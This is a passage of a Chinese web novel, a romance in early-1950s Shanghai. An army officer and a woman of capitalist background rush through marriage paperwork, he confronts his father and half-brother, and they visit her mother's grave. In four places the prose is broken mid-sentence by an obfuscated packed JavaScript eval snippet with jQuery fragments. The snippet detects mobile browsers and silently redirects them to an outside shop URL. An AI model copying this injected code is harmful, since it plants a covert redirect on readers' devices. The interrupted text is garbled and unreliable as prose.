江骄:“当然,我刚才提到的那些,你能接受的话。” “那些,不是问题。” 宁滟:“现实问题其实是,我没有其他选择,能跟你结婚,你才是有一堆坏处,我肯定是受益的一方,至于你对我妈当初说过的话,我们就算只当朋友,有你这样一个军官朋友,或者说,你愿意把我当做妹妹,有你这么一个哥哥,就可以对我起到很大帮助了。” 江骄脸上的笑意在宁滟提到妹妹时就已经消失了。 他结个婚,不是让他和结婚对象当母子,就是让他和结婚对象当兄妹。 江骄从牙缝里挤出声音:“谁要当你哥,你读过那么多书,你见过有亲过嘴的人还能当兄妹的?” 宁滟:“……” “其实,吻,在外国是一种很普通的礼仪,见面会互相亲吻,分离会互相亲吻。”宁滟找回声音科普道:“还有早安吻,晚安吻......” 江骄阴沉着脸,“你还吻过谁?” 宁滟:“……我没有出过国。” 江骄不是很满意这个回答,但也不想再问下去。 “你曾经说过,我们是情侣之间才能亲的法式热吻。” 宁滟被他堵的彻底哑言。 “所以我们只能当夫妻。”江骄道:“我的前程不会因为你受到影响,相反是因为有你,我才有今天。” 宁滟双瞳因为这句话颤了颤,转过头看向他。 江骄怕接下来她再拒绝,或是说出比兄妹更能气他的话,就此默认双方已经达成一致,起身从竹篮里拿出宁滟放在里面的购物清单:“我先陪你去街道开结婚介绍信,再去采买这些物品。” 宁滟刚站直身体,就被震在原地,“结婚介绍信?” 江骄多看了几眼宁滟因吃惊而生动的脸,“对,结婚介绍信。” 不等宁滟说话,江骄继续道:“你这边开好了结婚介绍信,等我那边结婚报告一通过,我们就去领结婚证。” 宁滟沉默许久,“......你怎么这么急?” 要说他们两人现在的身份,真要结婚,该要着急的也应该是她。 需要时间再多考虑的也是他。 怎么都没想到,前十分钟才刚提到结婚的事,转眼就拉着她开始走流程。 江骄:“.......” 江骄长睫不自在扇了一下,“......我是来沪城参加表彰大会,大会结束就得返回驻地集训,本就没有多少时间可以待。" 怪不得。 宁滟抬头看了他一眼,“刚才,你提到了跟你结婚的问题,我这边除了出身问题,坏处也不少,嫁妆,我现在可支配的现金没有多少,我也不是很会精打细算善于调度持家,生活方面可能还有很多我想不到的地方能力欠缺,处理人际关系方面......” “新中国新婚姻法成立,就是要革掉旧时代的老习俗。” 江骄没再让宁滟说下去,“新时代夫妻,都是为了一个共同的革命目标和信仰,一切从简,否则真要按照老习俗,我也没有那么多的聘礼给你。” 宁滟心下一松,没了最后的顾虑,“既然这样,那我就什么好说的了。” 江骄嘴角掀了掀,“我们先去街道开介绍信,再去饮食店吃早餐。” · 有一身军装的江骄陪同,街道干部格外热情的帮她们开好了结婚介绍信,拉着宁滟的手交代了好半天: “小宁啊,以后你就是革命队伍的人了,是光荣的军属,以后谁也不敢再拿你的出身说事,但你也要记得,过去资本家千金小姐的那一套做派千万要不得,要积极向劳动人民看齐,全心全意为江骄同志搞好后勤工作,让他安心保卫祖国。” 一军二干三工人是年轻人择偶的首选目标,而团级军官更是金字塔尖的择偶对象。 这一点,从街道干部们完全不同于以往的眼神中,宁滟已经充分感受到。 虽然以往街道干部们也很照顾她,但都是把她放到了需要团结的对象的位置上,今天,宁滟却第一次从她们眼里看到把她当自己人的眼神,她也第一次可以抬眼看人,用正常声音说话。 一路走在大街上,也没有人再用异样的眼神看她。 “怎么了?” “以前,我一出门,明明和大家穿的衣服都一样,但不知道为什么,他们总能一下子就发现我是......资产阶级出身的人。” 听到宁滟小声说的话,江骄眼里出现细碎的笑意,“你只管做你自己,有我在,不用担心任何人的眼光。” 宁滟握了握口袋里“滚烫”的结婚介绍信。 “吃了早饭,你先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374922|200048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回去补觉。” 江骄拉开饮食店的大门,“采购完你的购物清单,我再回去。” 宁滟看到了对面的百货商店,一对年轻男女手里拎着端着装满礼盒的搪瓷盆喜气洋洋走出来,“不用,你先回去,这里离公寓很近,我买完自己回去就行了。” 江骄顺着宁滟的眼神往对面看了一眼,走进饮食店找了位置坐下。 等小笼包和小馄饨放到宁滟面前,江骄才道:“结婚礼品,我娘已经先去驻地置办了。” 宁滟拿着调羹的手一顿。 江骄的母亲早已去世。 “收养你的母亲?” “对,早年战乱回不去,有了联系之后,想接她们过来享福,一直没能成功。” 江骄拿出手绢仔细擦了筷子,递给宁滟:“这次说我要结婚,她才愿意过来帮我筹办婚事。” 宁滟点了点头,用调羹搅了搅馄饨,“的确该多孝顺你母亲。” 江骄看到宁滟的小动作,“担心和她相处不好?” 宁滟愣了一下,摇头,“没有,当年那么贫困,自家都填不饱肚子,还能有善心收养朋友的儿子,这样善良的人,我不担心。” 江骄帮宁滟往小碟子里倒了米醋,“那就是想到我亲生父亲那边?” 宁滟:“.......” 看着宁滟的表情,江骄就知道自己说中了,“虽然他的确是我亲生父亲,但当年在村里长辈的证明下,我已经过继给了我娘,从法律上来说,我已经不是他的儿子,从情感上来说,我们也没有一丝父子情,他的话在我这里起不到任何作用。” 宁滟:“我没有在想这个,我只是在想,等下应该买些绳子回去留着打包行李。” 刚确定自己猜中了的江骄:“......” 宁滟:“我既然已经同意结婚,就不会再胡思乱想,现在,就等你的结婚报告能通过批准。” 乍然听到这话,江骄的脸比刚才在街道开好结婚介绍信还要好看一些,他起身又去点了一笼小笼包、油条、茶叶蛋、芝麻甜大饼、葱花咸大饼、牛肉粉丝汤......堆满了整张桌子。 两人吃撑了也没吃完,宁滟只能打包回去当午饭。 · 江骄脸上的笑在送宁滟回公寓,下楼迎面撞上江文彬后消失。 江文彬也在看到居高临下的江骄的瞬间,刹住脚步。 江骄冷冷看着多年不见的弟弟,一步一步走下楼。 江文彬想从他身边侧身而上,却猛地被抓住后颈口的衣领,转了几圈,扔到楼下。 即便每天早上都有出操,参加体能训练,但主要工作毕竟还是和书本实验室打交道,比不过这些年一直南征北战且屡立战功的江骄。 江文彬站稳身体,扶了扶眼镜,义正言辞道:“我要见宁滟同志。” 江骄没有说话,再次抓住他的衣领,无视江文彬一路的叫喊抗议,一路将他提溜到沪浦军校家属大院。 进了家属大院,江文彬要面子,也知道事已至此,江骄不会再放他走,正好,他也需要一次和江骄正式面谈。 5. 第 5 章 午饭时间,江有义和李家英刚把饭端到餐桌,听到门开了以为是儿子回来,一见进门的是江骄,两人脸上的笑意不约而同落下。 对于江骄突然上门,两人也有些惊讶。 “你怎么来了?” 江有义说完发觉这话有些不对劲,转口道:“我是说,你什么时候回来的?” 江文彬看向江骄,“我们去书房谈。” 江骄道:“我今天来,就是告诉你们,我要和宁滟结婚了,以后管好你们的儿子,别再对宁滟抱有非分之想,否则,我必会将他的作风问题汇报给他的单位。” 江文彬在知道单位领导居然找了江骄去劝说宁滟的时候,就已经气得差点对领导口不择言。 见到江骄从宁滟家里走出来的那一刻,心又已经凉了一半。 现下听到他这么说,即便知道自己希望渺茫,也不甘心就此放弃。 “宁滟根本不喜欢你,她不可能心甘情愿嫁给你!” 江骄冷眼看向江文彬,“我们之间的事,你知道个屁,倒是你,我竟不知道两名知识渊博的大教授,培养出的引以为豪的儿子,居然是个不顾他人意愿,趁人之危的小人。” “而且,这个人还是自己未来的嫂子。” 李家英匆匆忙忙走到门口,关紧大门,插上插销,看向身姿挺拔的江骄:“你不要在这里胡说!” “你刚才说什么?”江有义皱紧眉头问:“你要和宁滟结婚?谁同意你结的婚!” “我们从来都没有让文彬和那姑娘扯上任何关系。” 初步震惊过后的李家英,接着道:“文彬也从来没有对那姑娘有过任何觊觎之心,一切皆是因为他重情重义,记得当初那姑娘对他和你父亲回北平出了大力,在听说她们家的事之后,才想着帮她一把,只是他不经世事,想法简单,才选了那样的方式,他对那姑娘从来都没有什么非分之想。” “哦?” 江骄讽刺道:“你的意思,你儿子向单位打了结婚报告,是想报恩?” “不仅是报恩,我喜欢宁滟近十年。” 江文彬不顾李家英的脸色,走到江骄面前,“我的确是没有事先与宁滟先商量,就先向单位打了结婚报告,但我不是趁人之危,我是认为等我这边确定没有问题之后,才有资格去向宁滟提亲,这样也不会让她失望。” 发觉江文彬的思路居然与自己不谋而合,同时察觉到江文彬的真心,江骄脸色阴沉得能挤出墨,心底有一丝庆幸,庆幸他够着急,已经帮宁滟开好了结婚介绍信。 “我没想到领导会想到找你去劝说宁滟。” 江文彬道:“实话实说,我考虑过你,但我知道你心高气傲,自尊心强,当年爸因为时局不愿意认你,哪怕事后再去找你,你也不再承认有爸这个父亲,我以为当初宁滟主动抛弃了你,你不可能再接受宁滟,没想到,你能愿意再娶宁滟。” 因为有了结婚介绍信和宁滟的态度,江骄看江文彬已经没了之前的危机感,但江文彬对宁滟的态度,依然能引起江骄藏在内心深处隐秘的暴戾,“近十年,报恩。” 江骄将这几个字放在牙缝间反复碾磨,“九年前,因为你得罪了教育部高等司帮办,回到北平的希望渺茫,被困于雾城,宁滟周旋多日,最终从黑市帮你们周旋到两张先回沪城的机票,如果我没说错,你想报的恩是这件事?” 江文彬道:“没错,是这件事,后来我们回到北平,爸找人打听了才知道,一张从雾城飞沪城的机票黑市价格在十万法币,我们得罪了人,两张机票只会比二十万法币更多,这是一笔巨款,我一直记在心里,至今才等到机会报答她。” 江骄第一次听到飞机票的实际价格,平静了片刻,眼里再次出现讽刺的笑意:“报答,当年宁滟和我在一起,因我的拜托,为了我在战场心无旁骛,才费尽心思周旋,既然要报恩,我在战场这么多年,不提从没在战场收到过你们寄的任何东西,就连一封感谢的信都没收到过,你却惦记了宁滟近十年,江文彬,你这是报恩,还是恩将仇报?” “宁滟和你分手了。” 江文彬道:“如果宁滟和你没有分手,我自不可能有娶她的想法。” 眼看江骄的表情逐渐变得骇人,江有义站到兄弟两人之间,“当年是我们全家欠下那姑娘的恩,你做的事,我们也都记在心里,文彬是好意,你不要多想,你在战场上行踪不定,当年在北平......” “当年在北平,你是第一批回去的老师,因此得到了不少关键的机会,今天才能调到军校当上副校长。” 江骄看着眼前的亲生父亲,“当年你读大学,有了知识,看不上农村的原配,抛弃我们母子,我娘的命你永远欠她,你对我的生恩,后来我进城你在众人面前不承认我,早已抵消,因你回头找过我,当你们被困雾城,我才写信找宁滟张口,她因为我花费的两笔巨款,买的两张飞机票,救了你们父子的命,有了你们父子的今天,你我之间,只有你欠我,我早已不再欠你。” 江有义身上刚摆出来父亲的姿态,被江骄这番话砸个稀碎,嗫嚅着颤抖的嘴唇,没能说出话。 该说的话说完,江骄重新看向江文彬,“今天来到这里,还有一件事,把你收藏的东西交出来。” 江文彬镜片后的眼睛微不可闻的睁了睁。 “不交?” 江骄又看向李家英,“你儿子说的没错,我这个人记仇得很,今天想娶宁滟,明天也可能不想娶了,你儿子手里藏着的东西,就有很大可能让军区领导同意他的结婚申请报告。” 李家英面色瞬变,急声问:“什么东西?” 江骄道:“他昨夜从北京回来,多带了什么东西?” 李家英冲向书房,江文彬上前阻止,却被江有义挡住。 江有义察觉到自己的行动,不自然看向江骄,“当年的问题我不想再解释,如今你前程一片大好,你有没有想过,娶一个资产阶级出身的人,会对你的未来前程造成什么影响,又会对你的后代子女造成什么影响?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374923|200048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 江骄没理江有义,抬脚将奋力挣扎想迈过江有义的江文彬踹飞出去。 “砰”地一声落地,随即响起李家英和江有义心疼的呼叫。 江骄走过去,看着他疼痛皱在一起的俊脸,“你对宁滟的觊觎到此为止,否则,下次被踹的就是你的下半身。” 江骄拎起李家英拿出来的皮箱,放到餐桌上打开箱子检查,确定真的是想要的资料,坏心情终于有所好转,头也不回离开。 · 军里的表彰大会开了两天才结束,江骄第一时间便带着整理好的材料和新写的结婚报告放到两位领导面前。 “军长才刚当着全军的面夸奖你,因为我还没将你结婚报告申请交到上面,干部处才正式任命你为我师3团团长,让你带头组建我军新兵种,接收新装备,训练机械化作战,这是上面对你的信任,你小子给我识相点。” 江骄立直身体:“是!” 李师长的笑容还没完全浮现出来,就见江骄翻开他面前的资料道:“师长,这是可以充分证明我对象与资产阶级不是一个立场的资料,这些是她当年所创作的作品。” 李师长不想看,但好奇,忍不住看了一眼,瞬间惊讶住,从江骄手里夺过第一幅画,仔细辨别后抬头震惊看着江骄:“这是《血债》啊!” 刘政委急忙拿出眼镜戴上,凑过去看了一眼,也跟着震惊抬头,“你刚才说什么,这是你对象当年所创作的作品?你在胡说什么,这可是著名画家望春的名作!” 没想到两名领导都看过这些画,还知道作者。 江骄隐隐带着自豪:“她就是望春。” “胡扯!”刘政委道:“你对象今年才二十几岁,《血债》是为解放前地主压迫的农民所作,报纸一登就迅速传遍革命老区,她那个时候还没成年,这幅画犀利的笔锋,深刻剖析了农民被剥削压迫的苦难,有力的线条描绘了无数位饱经痛苦的无产阶级形象,引人潸然泪下,这样一幅富有艺术感染力的画,早有耳闻是一位同样出身无产阶级的同志所作,怎么可能是一位资本家千金大小姐画出来的!” “我就是受到地主剥削压迫,才一路饿着肚子逃进城的农民。” 江骄道:“当年她被她母亲像旧时代的千金大小姐养在家里,大门不出二门不迈,因为她的父亲喜欢艺术,娶了两房姨太太都是艺术家,她的母亲就让她学习画画,她的天分极高,是行业内公认的天才画家,认识我之后,她知道了我的出身,《血债》就是我带她去农村看到的世界,《血债》的原型人物,如果有需要,我可以尝试去请过来给你们看。” 李师长和刘政委依然震惊看着江骄。 “但我记得......”刘政委去翻下面的资料,“我记得当初望春同志,成名作是连环漫画《罢工》,刻画女工处境悲惨,对女工统一战线思想,掀起上万名工人举行大罢工,沉重打击日本资本家,起到了关键性作用,这幅画出现的日期,她还要更小,顶多十四五岁,她怎么可能是望春同志!” 6. 第 6 章 “正是因为这部连环漫画,我知道了她的想法,才敢带她去看受地主压迫的农民。” 江骄从怀里掏出一本翻了不知道多少遍,纸张已经泛黄卷边的速写本,“她的确是望春,这里有她之前的废稿,而且当年,这些画都是我帮她向报社投的稿,签的出版合同。” 李师长珍惜捧着当年在报纸上看过的木刻版画,“早年有传言说,报社编辑说望春是一名出身无产阶级的男同志,难不成,难不成竟然是你?” “是我。” 江骄道:“这些作品都是战前刊登在报纸上,战乱期间很多家报社出版社不是被炸毁,就是被敌军控制,难以找寻更多的资料证明,如果你们还不相信,我可以请我对象过来当场创作证明身份。” “不不不。” 刘政委连忙阻止:“这对人不尊重。” “没错,不用这么做。” 李师长看着手里的画,“当初我就说过,望春同志不太可能是跟我们一个出身,你就说我们驻地,全县都找不出一名专业的美术干部,能画出这样的画,那必然是家庭条件富裕,才能培养出来的人,没人信我,说我没见识,你瞧瞧,今天就证明了,我才是最有见识的人!” “真没想到,你的结婚对象竟然是望春同志。” 刘政委高兴道:“这可是最早为受压迫剥削的劳动人民发声的专业画家,而且你看,她的画风里没有一点崇拜西洋的倾向,同那些忽视政治充满了资产阶级文艺思想的许多专业画家都不一样,这可是站在我们人民这边,真正为工农兵服务的美术家!” “这是我们的同志!” 看着李师长神情亢奋,爱不释手看着手里的画,江骄心里增加不少底气,将结婚报告往李师长面前推了推,“师长,马上就要回驻地了。” 李师长亢奋的情绪一顿。 刘政委一脸可惜道:“这么重要的证明怎么不早递交给我们,早两天交过来,你还没升职,事情会简单很多,你现在是团级主官,哪怕我们批准,军政治部那边也不会那么轻易就给你批了。” “一步一步来。” 江骄道:“两位领导既然同意了,就先批准了吧。” 李师长打量着看上去比较平静的江骄,“我问你,如果上面最终审查结束,不批准你结婚,你打算怎么办?” 江骄:“自然是回老家种地了。” “放你......放你的臭狗屁!” 李师长收回习惯性骂娘的口头习惯,但却没像之前一样愤怒,“你知恩图报,望春同志对你有恩是不假,但党和军队对你就没有恩了?你就不管不顾要回老家种地了?” “党和军队对我当然有恩,没有党和军队就没有我的今天。” 江骄严肃道:“但是没有我,国家还有更多比我有能力的人可以报效军队,而且,就算不穿这身军装,祖国一旦有需要,我拿着镰刀也会上阵杀敌。” “从前看长春追着你跑,你连一个正眼都没给过她,还当你是没开这方面的窍。” 李师长道:“竟没想到,你小子是个痴情种。” “你别冲动。” 刘政委安抚江骄:“上面是什么态度,我们还不知道,放到其他资本家千金大小姐,上面可能不会同意,但你这对象可是望春同志,还是很有胜算的,这样,你先回去休息,你下了火车我看你就没好好休息过,回驻地之前,差不多就有消息了。” 江骄被两位领导赶出门后,并没有回去休息,先去医院换了手臂上的药,下意识就往服务社走,准备再买些东西送到宁滟公寓。 走到一半,脚步顿住。 江骄想到这份资料交到军政治部后,除了他,江文彬也在不停往军政治部那边努力。 想到这里,想到如果军政治部的领导,看了宁滟的画,觉得宁滟这个结婚对象没有问题,也是有可能批准江文彬的结婚报告。 江骄调头,往师长办公室疾步走去。 “你小子怎么又回来了?” “师长,政委。” 江骄先朝办公桌上看了一眼,结婚报告还没有得到批准,两位领导手上夹着烟,明显是在商量他的事。 “刚才忘记提了,我对象那边,已经在街道开好了结婚介绍信。”江骄加重字眼道:“和我的,结婚介绍信。” 李师长、刘政委:“......” “知道了。”李师长道:“你先回去,我们正在商量你的事。” “还有一件事。” “什么事,快说,磨磨唧唧,吞吞吐吐,你小子怎么跟变了一个人似的,还像不像个男人!” 江骄心一横,拿起办公桌上的纸笔,最后补充申请结婚的理由:疑似功能障碍,不愿祸害旁人。 两位领导看了很久。 李师长被烟头烫伤了手,才反应过来丢掉了烟,依然不敢置信看着纸上的字,心里非常后悔前一句对江骄的责骂。 “这是什么时候的事?” 刘政委心痛看着江骄:“一点都看不出来啊......不是,我的意思是从来没有听你说起过这样的事!” 江骄低下头:“这种事,怎么提。” 刘政委也后悔自己说错了话,连忙与李师长对视一眼。 两人一时半会都找不出安慰江骄的话。 “这是什么时候的事?”李师长问:“去医院看过没有?还有,什么叫不愿祸害旁人,旁人不能祸害,你对象就能祸害了?就算她是资产阶级出身的姑娘,你的想法也不能这么理所当然!只要没有做过危害国家危害人民的事,资产阶级是我们需要团结而不是随意欺辱的对象!再说,她还是我们的同志,是早已就站在工农兵这边,为身在苦难的底层工农兵发声支援的望春同志!” 江骄道:“她应该看得出来。” “看......看得出来?” 刘政委尽量控制自己的眼神,上上下下看了看江骄,抑制了好些遍,终究是没抑制住心底的话,“怎么看的?” 江骄答非所问:“望春这份资料证明,可以证明她的立场没有问题,除了我,她还可以有很多选择,但我们已经去街道开好了结婚介绍信,她愿意和我在一起,除了她,我也不会和其他任何人结婚。” 刘政委被这番话感动的忘记前面的问题,一转头,发现李师长也正热泪盈眶。 “情比金坚。” 李师长双眼含泪道:“我算是见到了什么叫情比金坚!” “是,最开始我还以为你们各自有着各自的.......算了,不重要了,真是没想到,你们竟然是世间难得一见的真心。” 刘政委掏出手绢擦了擦眼睛,拿起江骄刚用过的笔,在结婚报告上批了字。 眼看着李师长也跟着热泪盈眶在结婚申请报告上签了字,江骄终于松了半口气。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374924|200048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “今天下午,我亲自去趟军政治处。”李师长合上笔帽,抬头看着江骄:“这样好的姑娘,以后你可得好好对人家,否则我第一个不放过你!” 江骄立正,敬了军礼。 一切尽在不言中。 · “怎么?” 宁滟抬头看着江骄,摇了摇头,又低头看着手里的两份结婚介绍信。 江骄盯着宁滟长睫垂在肌肤上的两扇阴影,仔细辨别她的表情,唇角慢慢紧绷,“现在后悔也来不及了。” 宁滟掀起长睫,莫名其妙看着他,“我为什么要后悔?” 江骄嘴唇抿成一条线,继续仔细辨别她的眼睛。 “我只是......” “只是什么?” 宁滟刚吱声就被他冷声掐断后半截的话。 宁滟只觉得他现在变得有些难以琢磨,看他冷冰冰的表情,不知道的还以为他们是要去离婚,而不是结婚。 江骄下颌越绷越紧,想让宁滟说话,又怕听她说不出他不想听的话。 离婚的气氛愈来愈浓,宁滟看着他一身崭新的军装,找个话题,“还是绿色好看。” 江骄双睫一颤,呼吸微松,“你喜欢,等去完公墓回来领了结婚证去买。” 一句话藏了大半天行程,宁滟反应了很长时间,才找到重点:“公墓?” “听说妈葬在南风公墓。”江骄道:“我们要结婚了,我理应先去看望她。” 宁滟怔怔看着江骄,为他自然叫的“妈”。 刚才以为他临时多了什么后悔的想法,也被这一声“妈”退散了。 猝不及防的酸涩堵住了嗓子,宁滟低头避开江骄的视线缓解,过了一会才摇了摇头,“不去了,她并不想见我。” 江骄没出声,但诧异全写在了脸上。 宁滟重复一遍,“不去了,还有很多东西需要整理。” 江骄问:“她不想见你,你也不想见她?” 宁滟被问沉默了。 江骄心里有很多事想知道,但并不想在这关键时刻问出会影响领结婚证的事,他提取重点道:“驻地离沪近千里路,来回一趟不容易,我已经买好了妈当年喜欢吃的王家沙蟹壳黄和水晶芝麻饼,车子已经借在楼下,回来去街道领了结婚证,顺道去对面买绿色的布,再回来跟你一起打包行李。” 宁滟看着他,“先去领结婚证,再去公墓。” 江骄紧绷的紧绷彻底放松,伸手拿过宁滟手里的结婚介绍信,却在证明上留下一个汗湿的指印。 宁滟看到了,朝窗外看了看天气,“今天很冷,你手里怎么出了这么多的汗?” 江骄将结婚介绍信小心递回给宁滟手里,转身往卫生间走去,“我洗个手。” 宁滟将结婚介绍信叠成四方块,疑惑看向卫生间,听到水停了,半天也没动静,正想走过去,里面传来声音:“我能不能用你的毛巾?” “......可以。” 等江骄从卫生间走出来,宁滟发现他不但洗了手,还洗了脸,额前的碎发也像是被水打湿后,匆匆用毛巾擦揉乱了搭在眉间,没了刚才的精神,变得懒散。 宁滟穿着棉衣都还有点冷,“你这么热?” 江骄闻言抬眼看向宁滟。 他不热。 他是因为她的犹豫,以为她是在后悔,才不知不觉在大冬天紧张得出了一身的汗。 7. 第 7 章 “出去就不热了。” 江骄伸手接过两张叠好的结婚介绍信,解开风纪扣,塞到军装内的衬衫口袋,微扬起下巴,重新系上领扣。 宁滟全程看着他藏介绍的过程,“下楼就到区政府了。” 江骄点头:“走。” 宁滟:“......” 她的意思是没必要把结婚介绍信放那么里面。 区政府下楼就到了,几分钟的路程不但丢不了,来来回回解扣子多麻烦。 再说区政府的干部也并不少。 但看江骄已经往外走,宁滟没再张口。 毕竟他这种行为,对于结婚,也是一种重视。 江骄发现宁滟没有立即跟上他,脸上刚出现的几丝笑意,瞬间凝固。 他不给宁滟后悔的机会,伸手攥住她的手。 突然被握住手的宁滟,吃惊抬头,下意识挣了挣,被他收紧的掌心枪茧磨得有点疼,“给人看见不好。” 江骄紧紧反握住她的手往外走,“到门口就松开。” 宁滟跟着他走到门口,出了门果然紧攥着她的手即刻松开。 不过几步路,也要牵手? 宁滟耳朵发热。 江骄将公寓的门上锁,回过头看见宁滟羞红的脸,顿住脚步,倒是有了勇气问出一直压抑不想问的话:“想好了?” “什么?” “结婚。” 人都走出来了。 结婚介绍信也开好了。 还问这话。 宁滟看着他:“你想好了?” 江骄:“我当然想好了。” 宁滟:“你当然,我也当然。” 听到宁滟语气里的一丝不服气,江骄嘴角很小弧度的扯动两下,“那你刚才盯着结婚报告看了那么久不说话。” 宁滟愣了一下,解释:“太快了。” 不等江骄回答,宁滟继续解释:“虽然你说只要我同意,我们就能结得成婚,但没想到你的结婚申请报告这么快就能得到批准。” 江骄转过头,看向走廊窗外成群的春雀,叽喳鸟鸣此时听了觉得格外悦耳,“哦。” 江骄放缓脚步等宁滟一起朝着楼梯口走去。 形似奖状的结婚证,四周用玉米、麦穗、月季花、双喜点缀得喜气洋洋。 竖排繁体写着宁滟和江骄的姓名、年龄、籍贯,结婚证上盖着人民政府鲜红印章,正式庄重的宣布两人成为已婚的身份。 耳边传来声声恭喜和作为军属的谆谆教诲,宁滟看着结婚证久久没法回神。 等一声声道谢停不下来,抬头才发现江骄不知道什么时候手里多了喜糖和香烟,正在散给民政科的干部们。 宁滟回过神来,也对着办事的干部们道谢,随着江骄一起走出区政府大门。 “给我。” “什么?” 江骄看着表情明显还恍惚的宁滟,偏过头笑了,“你要问多少句什么?” “什......” 宁滟咽下下意识的话,想到一个早上确实说了很多句什么,顺着他的视线看向自己手里的结婚证,明白了意思,递了过去。 等上了军车,江骄不知道从哪里拿出一个木盒,先将结婚证装进红色布袋里,再放到木盒里,最后上了锁。 看上去比藏金条还要小心郑重。 宁滟看着他放好,双手搭在方向盘上,发动汽车,便移开了视线,没有听到一声长呼紧跟着汽车轰鸣声后面在车厢内响起。 不像刚领完结婚证的新婚夫妻,应该喜笑颜开甜甜蜜蜜跟亲朋好友分享喜悦,或是两人之间也应该喜笑颜开甜甜蜜蜜的说不完亲昵的话,两人一路无言。 结了婚,仿佛还没有没结婚之前有话可说。 宁滟仔细回想,确实如此。 自从醒来后,重遇江骄,他们每一次见面都没有出现无话可说。 进了南风公墓,江骄先拿着扫把将墓碑周围厚积的灰尘树叶清扫干净,再拿出抹布先后将墓碑擦的干干净净,接着又拿出一块抹布继续擦了一遍。 宁滟看着他认真仔细的行为,内心温暖之余,还有不解。 但江骄很忙,她没有机会问。 他擦完墓碑,走到路旁拿回了墓园烧纸钱的铁桶,紧接着将篮子里的蟹壳黄、水晶芝麻饼、条头糕放到盘子里,一一摆放在墓碑前后,拆开两个铝饭盒,不知道什么时候装的酱鸭、熏鱼、八宝辣酱、葱烤鲫鱼也摆上去。 拧开一瓶黄酒,倒了一杯摆在菜前,拿出香炉和蜡烛,用火柴点燃,抽出三柱香放到烛火上燃烧冒烟,递给宁滟。 宁滟:“.......” 江骄看宁滟不接,“我先?” “你什么时候准备的这么多东西?” 这是宁滟想问的话,但也不是最想问的话,宁滟不等他回答,问:“你心里一点都没怪她?” 乍然提起当年的事,江骄沉默一瞬,“为什么这么问?” 香点燃了,燃烧一截的香灰弯曲掉落,宁滟刚想伸手去接,江骄双手举起三根香,正对墓碑道:“妈,我和宁宁结婚了。” 久违的小名,让宁滟心头一颤,双眼被随之而来的酸涩控制不住湿了眼睛。 泪眼朦胧中对上水泥墓碑上端镶嵌的瓷质遗像,看着熟悉但又因过于年轻而有点陌生的面孔,过往经历中压抑心底的情绪排山倒海反扑上头,宁滟眼泪瞬间溢出眼眶,一颗接一颗的落下。 三炷点燃的香再次递到面前,宁滟伸手接过,面对墓碑,嗓子紧得根本说不出话,对着墓碑鞠三躬,将香插到香炉里,又对着墓碑跪下磕了三个响头。 抬头时才发现江骄也跟着她跪下又磕了一遍。 江骄对于母亲的尊重和重视,远超宁滟意料之外。 毕竟当年母亲毫不留情的把他赶出家门,他才会去参军上战场。 难道是因为他今天已是团级干部,对当年母亲的不留情面释然了? 江骄站起身,拿出一沓纸钱,宁滟伸手想接过纸钱,好方便他两只手点燃火柴。 “你先退远点,别呛着。” 江骄并没有给她,将纸钱丢到铁桶里,点燃火柴放进去,等铁桶里火烧得旺盛后,才让宁滟过来和他一起往里面递纸钱。 但宁滟只递了两张,江骄便又把她赶走了,像是只让她过来意思一下。 香和纸钱同时燃烧,宁滟的眼泪都被蒸发干净,疼得闭了闭眼。 寒风在空旷的墓园呼啸盘旋,树叶簌簌作响。 江骄屹立在冷风和火焰中,背影瘦削而宽阔,宁滟被他挡住风口后不再觉得冷了,被香熏得难以忍受的眼睛也不再难受。 宁滟上前拉了拉他的衣角, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374925|200048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “站到旁边去吧。” 江骄将火钳丢到地上,带着宁滟一起站到背风处,两人一起看着墓碑前的香炉,要等香炉里的香烧完才能离开。 “刚才为什么那么问?” 宁滟反应了一会他的问题,知道他是在说,她问他怪不怪母亲的问题,“你虽一直没说,但确实是离开茂林别墅,你才会走投无路上战场。” “不是走投无路才上战场。” 宁滟转头看向他。 “国家有难,我早就想去参军杀敌。”江骄认真看着宁滟:“我不知道妈和你说过什么,又发生了什么事情,但妈确实没有赶过我,而且当初,她还给了我两个选择。” 